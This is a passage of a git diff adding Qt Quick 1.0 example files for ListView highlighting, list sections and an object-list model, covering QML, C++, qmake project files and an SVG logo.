+ // visible area, the view is automatically scrolled to keep the current
+ // item visible.
+ //
+ // The second ListView sets a highlight range which attempts to keep the
+ // current item within the the bounds of the range. However,
+ // items will not scroll beyond the beginning or end of the view,
+ // forcing the highlight to move outside the range at the ends.
+ //
+ // The third ListView sets the highlightRangeMode to StrictlyEnforceRange
+ // and sets a range smaller than the height of an item. This
+ // forces the current item to change when the view is flicked,
+ // since the highlight is unable to move.
+ //
+ // All ListViews bind their currentIndex to the root.current property.
+ // The first ListView sets root.current whenever its currentIndex changes
+ // due to keyboard interaction.
+ // Flicking the third ListView with the mouse also changes root.current.
+
+ ListView {
+ id: list1
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "lightsteelblue" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ focus: true
+ }
+
+ ListView {
+ id: list2
+ x: list1.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ preferredHighlightBegin: 80; preferredHighlightEnd: 220
+ highlightRangeMode: ListView.ApplyRange
+ }
+
+ ListView {
+ id: list3
+ x: list1.width + list2.width
+ width: 200; height: parent.height
+ model: PetsModel {}
+ delegate: petDelegate
+
+ highlight: Rectangle { color: "yellow" }
+ currentIndex: root.current
+ onCurrentIndexChanged: root.current = currentIndex
+ preferredHighlightBegin: 125; preferredHighlightEnd: 125
+ highlightRangeMode: ListView.StrictlyEnforceRange
+ }
+
+ // The delegate for each list
+ Component {
+ id: petDelegate
+ Column {
+ width: 200
+ Text { text: 'Name: ' + name }
+ Text { text: 'Type: ' + type }
+ Text { text: 'Age: ' + age }
+ }
+ }
+}
diff --git a/examples/declarative/modelviews/listview/sections/qml/sections/sections.qml b/examples/declarative/modelviews/listview/sections/qml/sections/sections.qml
new file mode 100644
index 00000000..4589bef8
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/qml/sections/sections.qml
@@ -0,0 +1,87 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+// This example shows how a ListView can be separated into sections using
+// the ListView.section attached property.
+
+import QtQuick 1.0
+
+//! [0]
+Rectangle {
+ id: container
+ width: 200
+ height: 250
+
+ ListModel {
+ id: animalsModel
+ ListElement { name: "Parrot"; size: "Small" }
+ ListElement { name: "Guinea pig"; size: "Small" }
+ ListElement { name: "Dog"; size: "Medium" }
+ ListElement { name: "Cat"; size: "Medium" }
+ ListElement { name: "Elephant"; size: "Large" }
+ }
+
+ // The delegate for each section header
+ Component {
+ id: sectionHeading
+ Rectangle {
+ width: container.width
+ height: childrenRect.height
+ color: "lightsteelblue"
+
+ Text {
+ text: section
+ font.bold: true
+ }
+ }
+ }
+
+ ListView {
+ anchors.fill: parent
+ model: animalsModel
+ delegate: Text { text: name }
+
+ section.property: "size"
+ section.criteria: ViewSection.FullString
+ section.delegate: sectionHeading
+ }
+}
+//! [0]
+
diff --git a/examples/declarative/modelviews/listview/sections/sections.png b/examples/declarative/modelviews/listview/sections/sections.png
new file mode 100644
index 00000000..707d5c4e
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/sections.png
Binary files differ
diff --git a/examples/declarative/modelviews/listview/sections/sections.pro b/examples/declarative/modelviews/listview/sections/sections.pro
new file mode 100644
index 00000000..78eca7fb
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/sections.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/sections
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+# Avoid auto screen rotation
+DEFINES += ORIENTATIONLOCK
+
+# Needs to be defined for Symbian
+#DEFINES += NETWORKACCESS
+
+symbian:TARGET.UID3 = 0xEA0874F7
+
+# Smart Installer package's UID
+# This UID is from the protected range
+# and therefore the package will fail to install if self-signed
+# By default qmake uses the unprotected range value if unprotected UID is defined for the application
+# and 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Define QMLJSDEBUGGER to allow debugging of QML in debug builds
+# (This might significantly increase build time)
+# DEFINES += QMLJSDEBUGGER
+
+# If your application uses the Qt Mobility libraries, uncomment
+# the following lines and add the respective components to the
+# MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# The .cpp file which was generated for your project. Feel free to hack it.
+SOURCES += main.cpp
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/listview/sections
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/listview/sections/sections.qmlproject b/examples/declarative/modelviews/listview/sections/sections.qmlproject
new file mode 100644
index 00000000..6848d6b2
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/sections.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/sections"
+ }
+ JavaScriptFiles {
+ directory: "qml/sections"
+ }
+ ImageFiles {
+ directory: "qml/sections"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/listview/sections/sections.svg b/examples/declarative/modelviews/listview/sections/sections.svg
new file mode 100644
index 00000000..566acfad
--- /dev/null
+++ b/examples/declarative/modelviews/listview/sections/sections.svg
@@ -0,0 +1,93 @@
+<?xml version="1.0" encoding="UTF-8" standalone="no"?>
+<svg
+ xmlns:dc="http://purl.org/dc/elements/1.1/"
+ xmlns:cc="http://creativecommons.org/ns#"
+ xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+ xmlns:svg="http://www.w3.org/2000/svg"
+ xmlns="http://www.w3.org/2000/svg"
+ xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
+ xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
+ height="44px"
+ version="1.1"
+ viewBox="0 0 44 44"
+ width="44px"
+ x="0px"
+ y="0px"
+ id="svg2"
+ inkscape:version="0.47 r22583"
+ sodipodi:docname="qt.svg">
+ <metadata
+ id="metadata18">
+ <rdf:RDF>
+ <cc:Work
+ rdf:about="">
+ <dc:format>image/svg+xml</dc:format>
+ <dc:type
+ rdf:resource="http://purl.org/dc/dcmitype/StillImage" />
+ </cc:Work>
+ </rdf:RDF>
+ </metadata>
+ <defs
+ id="defs16">
+ <inkscape:perspective
+ sodipodi:type="inkscape:persp3d"
+ inkscape:vp_x="0 : 22 : 1"
+ inkscape:vp_y="0 : 1000 : 0"
+ inkscape:vp_z="44 : 22 : 1"
+ inkscape:persp3d-origin="22 : 14.666667 : 1"
+ id="perspective2836" />
+ </defs>
+ <sodipodi:namedview
+ pagecolor="#ffffff"
+ bordercolor="#666666"
+ borderopacity="1"
+ objecttolerance="10"
+ gridtolerance="10"
+ guidetolerance="10"
+ inkscape:pageopacity="0"
+ inkscape:pageshadow="2"
+ inkscape:window-width="1920"
+ inkscape:window-height="1020"
+ id="namedview14"
+ showgrid="false"
+ inkscape:zoom="21.454545"
+ inkscape:cx="49.412871"
+ inkscape:cy="21.894358"
+ inkscape:window-x="-4"
+ inkscape:window-y="-4"
+ inkscape:window-maximized="1"
+ inkscape:current-layer="g3" />
+ <g
+ transform="matrix(0.18308778,0,0,0.18308778,6.6100946,3.2385199)"
+ id="g3">
+ <path
+ d="M 43.09,0.3586 C 40.94,0.0036 38.84,-0.0824 36.81,0.0776 31.968136,0.39505671 27.122677,0.73638425 22.28,1.0696 9.62,2.0816 0,12.4996 0,26.8896 l 0,169.7 14.19,13.2 28.87,-209.42 0.03,-0.011 z"
+ style="fill:#006225"
+ id="path5"
+ sodipodi:nodetypes="cccccccc" />
+ <path
+ d="m 174.4,160 c 0,12.5 -7.75,24.07 -17.57,25.77 L 14.23,209.73 V 25.93 C 14.23,9.21 27.57,-2.27 43.12,0.3 l 131.3,21.52 v 138.2 z"
+ style="fill:#80c342"
+ id="path7" />
+ <path
+ d="m 154.9,80.96 -12.96,-0.598 0,0.278 6.945,0.32 6.016,0 z"
+ style="fill:#006225"
+ id="path11" />
+ <path
+ d="m 144.6,135.6 c 0.66,0.328 1.43,0.476 2.351,0.476 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 h -6.015 c -1.821,0.832 -3.532,1.457 -5.176,1.848 z"
+ style="fill:#006225"
+ id="path13" />
+ <path
+ id="path17"
+ style="fill:#ffffff"
+ d="m 91.15,132.4 c 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -4.34,0 -7.68,2.535 -10.01,7.625 -2.52,5.543 -3.793,17.04 -3.793,34.44 0,16.82 1.238,28.75 3.734,35.75 2.356,6.672 5.879,9.976 10.5,9.976 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 m 17.98,3.75 c -4.117,9.707 -10.39,16.06 -18.99,19 0.867,4.449 2.176,7.441 3.922,9.019 1.351,1.211 3.433,1.821 6.222,1.821 0.805,0 1.668,-0.055 2.59,-0.157 v 13.12 l -5.961,0.782 c -1.758,0.23 -3.426,0.343 -5.004,0.343 -5.218,0 -9.445,-1.265 -12.62,-3.824 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 1.629,0 3.309,0.102 5.043,0.305 11.95,1.375 20.62,7.016 26.26,16.79 5.535,9.562 8.254,23.27 8.254,41.26 0,16.48 -2,29.45 -6.043,39.02 z M 130.4,45.91 l 11.52,1.238 0,20.21 12.96,0.914 0,12.68 -12.96,-0.598 0,46.33 c 0,4.032 0.445,6.625 1.34,7.789 0.8,1.067 2.046,1.594 3.71,1.594 0.161,0 0.329,-0.004 0.497,-0.016 2.55,-0.148 5.32,-0.933 8.343,-2.308 v 11.65 c -5.136,2.258 -10.18,3.598 -15.12,4.02 -0.718,0.055 -1.41,0.086 -2.078,0.086 -4.48,0 -7.906,-1.301 -10.25,-3.934 -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.535 L 118.046,79.25 V 65.66 l 7.586,0.547 4.773,-20.3 z" />
+ <path
+ d="m 100.3,166 c 0.809,0 1.672,-0.055 2.59,-0.157 H 98.054 C 98.73,165.949 99.507,166 100.3,166 z"
+ style="fill:#006225"
+ id="path19" />
+ <path
+ id="path21"
+ style="fill:#006225"
+ d="m 84.85,63.98 c 2.336,5.997 3.484,16.92 3.484,32.81 0,17.7 -1.16,29.57 -3.512,35.62 -1.894,4.879 -4.527,7.902 -7.863,9.07 0.965,0.368 1.992,0.551 3.078,0.551 0.207,0 0.41,-0.008 0.621,-0.019 4.633,-0.293 8.121,-3.496 10.49,-9.602 2.351,-6.051 3.511,-17.91 3.511,-35.62 0,-15.89 -1.148,-26.82 -3.484,-32.81 -2.336,-6.027 -5.832,-9.281 -10.52,-9.691 -0.359,-0.031 -0.714,-0.051 -1.058,-0.051 -1.09,0 -2.117,0.16 -3.082,0.481 h -0.004 c 3.601,1.121 6.379,4.215 8.336,9.261 z m -2.344,114.3 c -0.113,-0.05 -0.227,-0.105 -0.336,-0.16 -0.012,-0.004 -0.023,-0.012 -0.035,-0.015 -0.102,-0.051 -0.207,-0.106 -0.309,-0.157 -0.019,-0.011 -0.039,-0.019 -0.058,-0.031 -0.09,-0.051 -0.184,-0.098 -0.278,-0.148 -0.027,-0.016 -0.054,-0.036 -0.086,-0.051 -0.082,-0.043 -0.164,-0.09 -0.242,-0.137 -0.039,-0.023 -0.078,-0.047 -0.113,-0.07 -0.07,-0.039 -0.145,-0.082 -0.215,-0.125 -0.047,-0.031 -0.094,-0.059 -0.14,-0.09 -0.059,-0.039 -0.118,-0.074 -0.176,-0.113 -0.059,-0.039 -0.114,-0.075 -0.168,-0.114 -0.051,-0.031 -0.102,-0.066 -0.149,-0.097 -0.066,-0.047 -0.132,-0.094 -0.195,-0.137 -0.039,-0.027 -0.078,-0.055 -0.113,-0.082 -0.078,-0.055 -0.153,-0.113 -0.231,-0.172 -0.023,-0.016 -0.05,-0.035 -0.078,-0.055 -0.098,-0.078 -0.199,-0.156 -0.297,-0.234 -4.207,-3.379 -7.308,-9.894 -9.297,-19.54 -9.136,-1.945 -16.26,-7.754 -21.19,-17.5 -5.004,-9.902 -7.551,-24.39 -7.551,-43.34 0,-20.43 3.484,-35.51 10.34,-45.07 5.789,-8.07 13.86,-12.04 24.02,-12.04 h -6.351 c -10.15,0.008 -18.22,3.977 -24,12.04 -6.855,9.563 -10.34,24.64 -10.34,45.07 0,18.95 2.547,33.44 7.551,43.34 4.934,9.75 12.05,15.56 21.19,17.5 1.989,9.641 5.09,16.16 9.297,19.54 3.176,2.559 7.403,3.824 12.62,3.824 0.098,0 0.199,0 0.297,-0.004 h 5.539 c -3.406,-0.05 -6.383,-0.66 -8.906,-1.828 L 82.498,178.28 z M 128.4,145.6 c -2.73,-3.051 -4.09,-7.949 -4.09,-14.67 V 79.57 l -6.226,-0.285 v -13.59 h -6.016 v 3.035 c 0.871,3.273 1.555,6.82 2.063,10.64 l 4.164,0.192 v 51.36 c 0,6.723 1.367,11.62 4.09,14.67 2.343,2.633 5.765,3.934 10.25,3.934 h 6.015 c -4.48,0 -7.906,-1.301 -10.25,-3.934 z m 2.043,-99.66 -6.016,0 -4.668,19.88 5.911,0.422 4.773,-20.3 z" />
+ </g>
+</svg>
diff --git a/examples/declarative/modelviews/modelviews.pro b/examples/declarative/modelviews/modelviews.pro
new file mode 100644
index 00000000..00e07fec
--- /dev/null
+++ b/examples/declarative/modelviews/modelviews.pro
@@ -0,0 +1,16 @@
+TEMPLATE = subdirs
+
+SUBDIRS += \
+ objectlistmodel \
+ stringlistmodel \
+ abstractitemmodel \
+ gridview \
+ listview \
+ objectlistmodel \
+ package \
+ parallax \
+ pathview \
+ stringlistmodel \
+ visualitemmodel \
+ webview
+
diff --git a/examples/declarative/modelviews/objectlistmodel/dataobject.cpp b/examples/declarative/modelviews/objectlistmodel/dataobject.cpp
new file mode 100644
index 00000000..681f3544
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/dataobject.cpp
@@ -0,0 +1,78 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QDebug>
+#include "dataobject.h"
+
+DataObject::DataObject(QObject *parent)
+ : QObject(parent)
+{
+}
+
+DataObject::DataObject(const QString &name, const QString &color, QObject *parent)
+ : QObject(parent), m_name(name), m_color(color)
+{
+}
+
+QString DataObject::name() const
+{
+ return m_name;
+}
+
+void DataObject::setName(const QString &name)
+{
+ if (name != m_name) {
+ m_name = name;
+ emit nameChanged();
+ }
+}
+
+QString DataObject::color() const
+{
+ return m_color;
+}
+
+void DataObject::setColor(const QString &color)
+{
+ if (color != m_color) {
+ m_color = color;
+ emit colorChanged();
+ }
+}
diff --git a/examples/declarative/modelviews/objectlistmodel/dataobject.h b/examples/declarative/modelviews/objectlistmodel/dataobject.h
new file mode 100644
index 00000000..f934343d
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/dataobject.h
@@ -0,0 +1,76 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef DATAOBJECT_H
+#define DATAOBJECT_H
+
+#include <QObject>
+
+//![0]
+class DataObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+ Q_PROPERTY(QString color READ color WRITE setColor NOTIFY colorChanged)
+//![0]
+
+public:
+ DataObject(QObject *parent=0);
+ DataObject(const QString &name, const QString &color, QObject *parent=0);
+
+ QString name() const;
+ void setName(const QString &name);
+
+ QString color() const;
+ void setColor(const QString &color);
+
+signals:
+ void nameChanged();
+ void colorChanged();
+
+private:
+ QString m_name;
+ QString m_color;
+//![1]
+};
+//![1]
+
+#endif // DATAOBJECT_H
diff --git a/examples/declarative/modelviews/objectlistmodel/main.cpp b/examples/declarative/modelviews/objectlistmodel/main.cpp
new file mode 100644
index 00000000..0210f317
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/main.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the demonstration applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qmlapplicationviewer.h"
+#include "dataobject.h"
+#include <QApplication>
+#include <qdeclarativecontext.h>
+
+/*
+ This example illustrates exposing a QList<QObject*> as a
+ model in QML
+*/
+
+//![0]
+int main(int argc, char ** argv)
+{
+ QApplication app(argc, argv);
+ QmlApplicationViewer viewer;
+
+ QList<QObject*> dataList;
+ dataList.append(new DataObject("Item 1", "red"));
+ dataList.append(new DataObject("Item 2", "green"));
+ dataList.append(new DataObject("Item 3", "blue"));
+ dataList.append(new DataObject("Item 4", "yellow"));
+
+ QDeclarativeContext *ctxt = viewer.rootContext();
+ ctxt->setContextProperty("myModel", QVariant::fromValue(dataList));
+//![0]
+
+ viewer.setOrientation(QmlApplicationViewer::ScreenOrientationAuto);
+ viewer.setMainQmlFile(QLatin1String("qml/objectlistmodel/view.qml"));
+ viewer.showExpanded();
+
+ return app.exec();
+}
+
diff --git a/examples/declarative/modelviews/objectlistmodel/objectlistmodel.pro b/examples/declarative/modelviews/objectlistmodel/objectlistmodel.pro
new file mode 100644
index 00000000..be38339c
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/objectlistmodel.pro
@@ -0,0 +1,41 @@
+# Add more folders to ship with the application, here
+folder_01.source = qml/objectlistmodel
+folder_01.target = qml
+DEPLOYMENTFOLDERS = folder_01
+
+# Additional import path used to resolve QML modules in Creator's code model
+QML_IMPORT_PATH =
+
+symbian:TARGET.UID3 = 0xE6A5F859
+
+# Smart Installer package's UID
+# This UID is from the protected range and therefore the package will
+# fail to install if self-signed. By default qmake uses the unprotected
+# range value if unprotected UID is defined for the application and
+# 0x2002CCCF value if protected UID is given to the application
+#symbian:DEPLOYMENT.installer_header = 0x2002CCCF
+
+# Allow network access on Symbian
+symbian:TARGET.CAPABILITY += NetworkServices
+
+# If your application uses the Qt Mobility libraries, uncomment the following
+# lines and add the respective components to the MOBILITY variable.
+# CONFIG += mobility
+# MOBILITY +=
+
+# Speed up launching on MeeGo/Harmattan when using applauncherd daemon
+# CONFIG += qdeclarative-boostable
+
+# Add dependency to Symbian components
+# CONFIG += qt-components
+
+# input
+SOURCES += main.cpp \
+ dataobject.cpp
+HEADERS += dataobject.h
+
+# Please do not modify the following two lines. Required for deployment.
+desktopInstallPrefix=$$[QT_INSTALL_EXAMPLES]/declarative/modelviews/objectlistmodel
+exists(qmlapplicationviewer/qmlapplicationviewer.pri):include(qmlapplicationviewer/qmlapplicationviewer.pri)
+else:include(../../../helper/qmlapplicationviewer/qmlapplicationviewer.pri)
+qtcAddDeployment()
diff --git a/examples/declarative/modelviews/objectlistmodel/objectlistmodel.qmlproject b/examples/declarative/modelviews/objectlistmodel/objectlistmodel.qmlproject
new file mode 100644
index 00000000..a0b6c9e4
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/objectlistmodel.qmlproject
@@ -0,0 +1,16 @@
+import QmlProject 1.0
+
+Project {
+ /* Include .qml, .js, and image files from current directory and subdirectories */
+ QmlFiles {
+ directory: "qml/objectlistmodel"
+ }
+ JavaScriptFiles {
+ directory: "qml/objectlistmodel"
+ }
+ ImageFiles {
+ directory: "qml/objectlistmodel"
+ }
+ /* List of plugin directories passed to QML runtime */
+ // importPaths: [ " ../exampleplugin " ]
+}
diff --git a/examples/declarative/modelviews/objectlistmodel/qml/objectlistmodel/view.qml b/examples/declarative/modelviews/objectlistmodel/qml/objectlistmodel/view.qml
new file mode 100644
index 00000000..db1b3137
--- /dev/null
+++ b/examples/declarative/modelviews/objectlistmodel/qml/objectlistmodel/view.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the examples of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
